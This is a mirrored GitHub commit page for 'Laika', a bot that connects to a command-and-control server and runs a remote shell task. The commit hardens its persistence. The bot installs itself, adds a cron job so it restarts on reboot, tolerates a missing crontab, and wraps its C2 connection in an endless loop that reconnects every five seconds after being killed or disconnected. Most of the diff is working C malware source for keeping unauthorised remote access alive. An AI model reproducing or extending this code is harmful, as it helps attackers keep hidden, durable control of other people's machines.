1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-24 21:41:04 +00:00

More resilient persistence

- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run
This commit is contained in:
CPunch 2022-04-10 15:45:30 -05:00
parent bb6e489945
commit 59c01d422b
4 changed files with 34 additions and 43 deletions

View File

@ -9,12 +9,6 @@
#include <stdbool.h> #include <stdbool.h>
/* check if laika is already running */
bool laikaB_checkRunning(void);
/* check if laika is already installed on current machine */
bool laikaB_checkPersist(void);
/* check if laika is running as super-user */ /* check if laika is running as super-user */
bool laikaB_checkRoot(void); bool laikaB_checkRoot(void);

View File

@ -20,16 +20,6 @@
static struct sLaika_socket laikaB_markerPort; static struct sLaika_socket laikaB_markerPort;
/* check if laika is already running */
bool laikaB_checkRunning() {
return true; /* stubbed for now */
}
/* check if laika is already installed on current machine */
bool laikaB_checkPersist() {
return true; /* stubbed for now */
}
/* check if laika is running as super-user */ /* check if laika is running as super-user */
bool laikaB_checkRoot() { bool laikaB_checkRoot() {
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */ return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
@ -133,9 +123,13 @@ void laikaB_tryPersist() {
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
/* enable persistence on reboot via cron */ LAIKA_TRY
if (!checkPersistCron(installPath)) /* enable persistence on reboot via cron */
tryPersistCron(installPath); if (!checkPersistCron(installPath))
tryPersistCron(installPath);
LAIKA_CATCH
LAIKA_DEBUG("crontab not installed or not accessible!")
LAIKA_TRYEND
#endif #endif
} }

View File

@ -17,26 +17,39 @@ void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clo
} }
int main(int argv, char *argc[]) { int main(int argv, char *argc[]) {
struct sLaika_bot *bot = laikaB_newBot(); struct sLaika_bot *bot;
/* install persistence */ /* install persistence */
laikaB_tryPersist(); laikaB_tryPersist();
/* init task service */ #ifdef LAIKA_PERSISTENCE
laikaT_initTaskService(&tService); do {
laikaT_newTask(&tService, 100, shellTask, (void*)bot); #endif
bot = laikaB_newBot();
/* connect to test CNC */ /* init task service */
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT); laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
/* while connection is still alive, poll bot */ LAIKA_TRY
while (laikaS_isAlive((&bot->peer->sock))) { /* connect to test CNC */
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) { laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
laikaT_pollTasks(&tService);
} /* while connection is still alive, poll bot */
} while (laikaS_isAlive((&bot->peer->sock))) {
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
laikaT_pollTasks(&tService);
}
}
LAIKA_TRYEND
/* bot was killed or it threw an error */
laikaT_cleanTaskService(&tService);
laikaB_freeBot(bot);
#ifdef LAIKA_PERSISTENCE
sleep(5);
} while (1);
#endif
laikaB_freeBot(bot);
LAIKA_DEBUG("bot killed\n");
return 0; return 0;
} }

View File

@ -2,16 +2,6 @@
#include "persist.h" #include "persist.h"
/* check if laika is already running */
bool laikaB_checkRunning() {
return true; /* stubbed for now */
}
/* check if laika is already installed on current machine */
bool laikaB_checkPersist() {
return true; /* stubbed for now */
}
/* check if laika is running as super-user */ /* check if laika is running as super-user */
bool laikaB_checkRoot() { bool laikaB_checkRoot() {
return true; /* stubbed for now */ return true; /* stubbed for now */